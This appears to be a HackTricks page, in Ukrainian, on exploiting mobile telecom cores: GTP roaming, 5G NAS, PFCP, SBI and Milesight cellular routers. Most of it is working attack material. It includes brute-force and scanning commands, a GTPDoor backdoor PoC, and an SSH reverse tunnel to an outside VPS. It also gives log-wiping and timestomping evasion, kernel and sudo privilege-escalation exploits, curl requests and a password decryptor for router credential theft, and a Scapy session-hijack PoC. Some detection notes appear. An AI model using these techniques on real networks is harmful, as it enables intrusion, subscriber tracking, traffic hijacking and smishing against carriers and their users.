Експлуатація телеком-мереж (GTP / Roaming Environments)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Note

Мобільні ядрові протоколи (GPRS Tunnelling Protocol – GTP) часто проходять через напівдовірені магістралі роумінгу GRX/IPX. Через те, що вони йдуть по plain UDP з майже відсутньою автентифікацією, будь-яка опора всередині периметра телеком-провайдера зазвичай може безпосередньо дістатися до шарів керування signaling. Нижченаведені нотатки збирають офензивні трюки, спостережувані у реальному середовищі проти SGSN/GGSN, PGW/SGW та інших EPC вузлів.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

Дивно велика кількість вендорських елементів мережі постачається з жорстко вбудованими SSH/Telnet користувачами, такими як root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Спеціалізований wordlist істотно підвищує успішність brute-force:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Якщо пристрій відкриває лише management VRF, спочатку здійсніть pivot через jump host (див. розділ «SGSN Emu Tunnel» нижче).

1.2 Виявлення хостів всередині GRX/IPX

Більшість операторів GRX досі дозволяють ICMP echo через магістраль. Поєднайте masscan з вбудованими gtpv1 UDP-пробами, щоб швидко відобразити GTP-C listeners:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Перерахування абонентів – cordscan

Наведений нижче інструмент на Go формує пакети GTP-C Create PDP Context Request і записує відповіді. Кожна відповідь виявляє поточний SGSN / MME, який обслуговує запитуваний IMSI, а іноді — відвідану PLMN абонента.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Ключові прапори:

  • --imsi Цільовий абонент IMSI
  • --oper Home / HNI (MCC+MNC)
  • -w Записувати необроблені пакети у pcap

Важливі константи у бінарному файлі можна змінити, щоб розширити сканування:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Виконання коду через GTP – GTPDoor

GTPDoor — це невеликий ELF-сервіс, який прив’язується до порту UDP 2123 і розбирає кожен вхідний GTP-C пакет. Коли payload починається з pre-shared tag, решта дешифрується (AES-128-CBC) і виконується через /bin/sh -c. stdout/stderr ексфільтруються всередині Echo Response повідомлень, тому назовні жодна сесія не створюється.

Мінімальний PoC packet (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Виявлення:

  • будь-який хост, який надсилає незбалансовані Echo Requests на SGSN IPs
  • GTP version flag встановлено в 1, коли message type = 1 (Echo) — відхилення від специфікації

4. Pivoting через Core

4.1 sgsnemu + SOCKS5

OsmoGGSN включає емулятор SGSN, який може establish a PDP context towards a real GGSN/PGW. Після узгодження Linux отримує новий інтерфейс tun0, доступний з роумінг-піра.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

За належного firewall hair-pinning цей тунель обходить VLANи, призначені лише для signalling, і потрапляє безпосередньо в площину даних.

4.2 SSH Reverse Tunnel через порт 53

DNS майже завжди відкритий у роумінгових інфраструктурах. Зробіть внутрішній SSH‑сервіс доступним через ваш VPS, що слухає :53, і поверніться пізніше з дому:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Перевірте, що GatewayPorts yes увімкнено на VPS.

5. Приховані канали

КаналТранспортДекодуванняПримітки
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)повністю пасивний слухач, без вихідного трафіку
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octetsспостерігає за піддоменом *.nodep
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEзливається з легітимним GTP-C трафіком

Всі implants реалізують watchdogs, які timestomp їхні бінарні файли та re-spawn у разі збою.

6. Defense Evasion Cheatsheet

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation на застарілому NE

# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Порада з очищення:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Tool Box

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – custom tooling described in previous sections.
  • FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lightweight SOCKS5 pivoting
  • FRP (≥0.37) : проходження NAT / з’єднання ресурсів

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

Процедура реєстрації 5G виконується по NAS (Non-Access Stratum) поверх NGAP. До активації захисту NAS через Security Mode Command/Complete початкові повідомлення не автентифіковані та не зашифровані. Це вікно до увімкнення захисту дає кілька шляхів атак, якщо ви можете спостерігати або змінювати N2 трафік (наприклад, on-path всередині core, нелегітимний gNB або тестовий стенд).

Registration flow (simplified):

  • Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
  • Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
  • Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
  • PDU Session Establishment: IP/QoS setup.

Lab setup tips (non-RF):

  • Core: Open5GS default deployment is sufficient to reproduce flows.
  • UE: simulator or test UE; decode using Wireshark.
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Useful display filters in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Очікуване: UE/USIM має передавати SUCI (SUPI зашифрований публічним ключем home-network). Знаходження відкритого SUPI/IMSI в Registration Request вказує на дефект конфіденційності, що дозволяє стійке відстеження абонента.

Як тестувати:

  • Захопіть перше NAS-повідомлення в InitialUEMessage і проінспектуйте Mobile Identity IE.
  • Wireshark quick checks:
  • Воно має декодуватись як SUCI, а не IMSI.
  • Filter examples: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci should exist; absence plus presence of imsi indicates leakage.

Що збирати:

  • MCC/MNC/MSIN якщо відкриті; логувати по UE і відслідковувати у часі/локаціях.

Мітігація:

  • Примусове використання тільки SUCI на UE/USIM; оповіщення при будь-якому IMSI/SUPI в початковому NAS.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Background:

  • UE advertises supported EEA (encryption) and EIA (integrity) in the UE Security Capability IE of the Registration Request.
  • Common mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 are null algorithms.

Issue:

  • Because the Registration Request is not integrity protected, an on-path attacker can clear capability bits to coerce selection of EEA0/EIA0 later during Security Mode Command. Some stacks wrongly allow null algorithms outside emergency services.

Offensive steps:

  • Intercept InitialUEMessage and modify the NAS UE Security Capability to advertise only EEA0/EIA0.
  • With Sni5Gect, hook the NAS message and patch the capability bits before forwarding.
  • Observe whether AMF accepts null ciphers/integrity and completes Security Mode with EEA0/EIA0.

Verification/visibility:

  • In Wireshark, confirm selected algorithms after Security Mode Command/Complete.
  • Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Заходи (обов’язково):

  • Налаштуйте AMF/policy так, щоб відхиляти EEA0/EIA0, за винятком випадків, коли це строго вимагається (наприклад, екстрені виклики).
  • Надавайте перевагу примусовому застосуванню EEA2/EIA2 як мінімум; журналюйте та сигналізуйте при будь-якому NAS security context, який погоджує null algorithms.

9.3 Replay початкового Registration Request (pre-security NAS)

Оскільки початковий NAS позбавлений цілісності та свіжості, перехоплений InitialUEMessage+Registration Request може бути replayed до AMF.

PoC rule for 5GReplay to forward matching replays:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

На що варто звернути увагу:

  • Чи приймає AMF replay і переходить до аутентифікації; відсутність перевірки свіжості/контексту вказує на вразливість.

Заходи пом’якшення:

  • Забезпечити replay protection/context binding на AMF; встановити rate-limit та корелювати по GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
  • Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
  • 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
  • Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.

9.5 Defensive checklist

  • Постійно інспектувати Registration Request на предмет plaintext SUPI/IMSI; блокувати пристрої/USIMs, що порушують.
  • Відкидати EEA0/EIA0, окрім вузько визначених аварійних процедур; вимагати принаймні EEA2/EIA2.
  • Виявляти rogue або некоректно сконфігуровану інфраструктуру: неавторизовані gNB/AMF, неочікувані N2-піри.
  • Сповіщати про режими безпеки NAS, які призводять до null algorithms або частих повторів InitialUEMessage.

10. Промислові Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at /cgi. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.

Typical unauthenticated requests (same structure for inbox/outbox):

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Відповіді містять поля, такі як timestamp, content, phone_number (E.164) та status (success або failed). Повторні надсилання з failed на той самий номер часто є “capability checks” зловмисника, щоб перевірити, чи може маршрутизатор/SIM доставляти повідомлення перед масовою розсилкою.

Приклад curl для exfiltrate SMS metadata:

curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Примітки щодо auth artifacts:

  • Деякий трафік може містити auth cookie, але велика частина відкритих пристроїв відповідає без жодної автентифікації на query_inbox/query_outbox, коли інтерфейс управління доступний з Інтернету.
  • У середовищах, що вимагають auth, previously-leaked credentials (див. нижче) відновлюють доступ.

Credential recovery path – CVE-2023-43261:

  • Постраждалі сімейства: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Проблема: web-served logs (e.g., httpd.log) доступні без автентифікації за шляхом /lang/log/ і містять події входу admin з паролем, зашифрованим із використанням hardcoded AES key/IV, що присутній у client-side JavaScript.
  • Практичний доступ та розшифрування:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Мінімальний скрипт на Python для decrypt leaked passwords (AES-128-CBC, hardcoded key/IV):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Ідеї для полювання та виявлення (мережа):

  • Видавати сповіщення про неаутентифікований POST /cgi, тіло JSON якого містить base/function, встановлені в query_inbox або query_outbox.
  • Відстежувати повторні серії POST /cgi, яким слідують записи status":"failed" для багатьох унікальних номерів з однієї і тієї ж source IP (тестування можливостей).
  • Зробіть інвентаризацію Internet-exposed Milesight роутерів; обмежте management до VPN; вимкніть SMS-функції, якщо вони не потрібні; upgrade до ≥ v35.3.0.7; rotate credentials та перегляньте SMS logs на предмет невідомих відправлень.

Shodan/OSINT pivots (приклади, помічені в реальному світі):

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking для виявлення exposed logs: "/lang/log/system" ext:log.

Операційний вплив: використання легітимних carrier SIMs всередині роутерів дає дуже високу доставлюваність/credibility SMS для phishing, тоді як inbox/outbox exposure leaks чутливі метадані у великому масштабі.


11. PFCP Session Hijack & GTP-U TEID Abuse

11.1 PFCP Session Modification to steal flows

If you can speak PFCP on N4 (e.g., from a mis-filtered GRX/IPX segment), create a Session Modification Request that inserts a duplicate PDR ID but with a smaller Precedence and a FAR pointing to your host. Some UPFs (e.g., OAI-cn5g) apply the first matching PDR and never check for uniqueness, so the malicious PDR hijacks all subsequent packets of that PDU session to your sink.

Minimal Scapy PoC (assumes PFCP contrib is available and you know SEID/PDR IDs):

Scapy PFCP session hijack PoC ```python from scapy.all import * from scapy.contrib.pfcp import *

n4 = “10.10.20.5” # UPF N4 seid = 0x123456789abc pdr_id = 7 # existing PDR ID in session far_id = 77 # new malicious FAR

pkt = IP(dst=n4)/UDP(sport=8805,dport=8805)/PFCP( S=1, seid=seid, msg_type=MODIFICATION_REQUEST)/PFCPSessionModificationRequest( IE_list=[PDR(id=pdr_id, precedence=1, outer_header_removal=0, far_id=fid_identifier(far_id)), FAR(id=far_id, apply_action=0b10, # FORWARD forwarding_parameters=ForwardingParameters( outer_header_creation=OuterHeaderCreation( desc=0x0002, ipv4_address=“203.0.113.55”, teid=0xdeadbeef)))] ) send(pkt, verbose=False)

</details>

### 11.2 Injecting user traffic by spoofing TEIDs
Якщо uplink GTP-U з backbone не ACL’d, ви можете відтворити/вгадати **TEIDs**, помічені в заголовках GTP-U, і інкапсулювати довільний IP/TCP у бік peer UE або в Інтернет. Приклад:
```python
send(IP(dst="10.10.20.8")/UDP(dport=2152,sport=2152)/
GTP_U_Header(teid=0x7ffed00)/
IP(src="10.0.0.10",dst="1.1.1.1")/TCP(dport=443,flags="S"))

Поєднайте це з passive sniffing на N3/N6, щоб дізнатися активні TEIDs; багато стеків PGW/UPF приймають будь-яке uplink source, як тільки TEID збігається.


12. SBA/SBI Fuzzing & Cross-Service Token Attack (free5GC R17)

FivGeeFuzz (academic 2025) автоматично виводить граматики з 3GPP OpenAPI specs для fuzz HTTP-based SBIs. У випадку free5GC воно виявило вісім багів, включно з Cross-Service Token зловживанням: скомпрометований NF отримує access token для Service A і повторно використовує його проти Service B, оскільки у цільовому NF відсутні перевірки audience/issuer.

Швидка ідея для replay (припустимо, ви вкрали NRF-issued token з будь-якого NF):

# Swap :authority to the victim NF and reuse the bearer token
curl -sk -H "Authorization: Bearer $TOKEN" \
-H "Host: smf.internal" \
https://smf.internal/nsmf-pdusession/v1/sm-contexts

Щоб автоматично fuzz з граматиками FivGeeFuzz:

python3 fivgeefuzz.py --nf nsmf-pdusession \
--target https://smf.internal \
--grammar grammars/nsmf-pdusession.json \
--token "$TOKEN" --threads 8 --max-cases 500

Слідкуйте за 401/403 bypasses та crashes в SMF/AMF pods; виправлені збірки free5GC відхиляють mismatched aud/iss.


Ідеї виявлення

  1. Будь-який пристрій, окрім SGSN/GGSN, що встановлює Create PDP Context Requests.
  2. Нестандартні порти (53, 80, 443), які отримують SSH handshakes з внутрішніх IP.
  3. Часті Echo Requests без відповідних Echo Responses – можуть вказувати на GTPDoor beacons.
  4. Висока швидкість ICMP echo-reply трафіку з великими, ненульовими полями identifier/sequence.
  5. 5G: InitialUEMessage, що несе NAS Registration Requests, повторювані з ідентичних кінцевих точок (replay signal).
  6. 5G: NAS Security Mode, що узгоджує EEA0/EIA0 поза контекстом екстрених ситуацій.
  7. PFCP: Session Modification, що містить дубльовані PDR IDs або раптову FAR переадресацію на off-net IPs.
  8. SBA: NRF видає токени, чиї aud не відповідає викликаному NF – вказує на Cross-Service Token replay.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks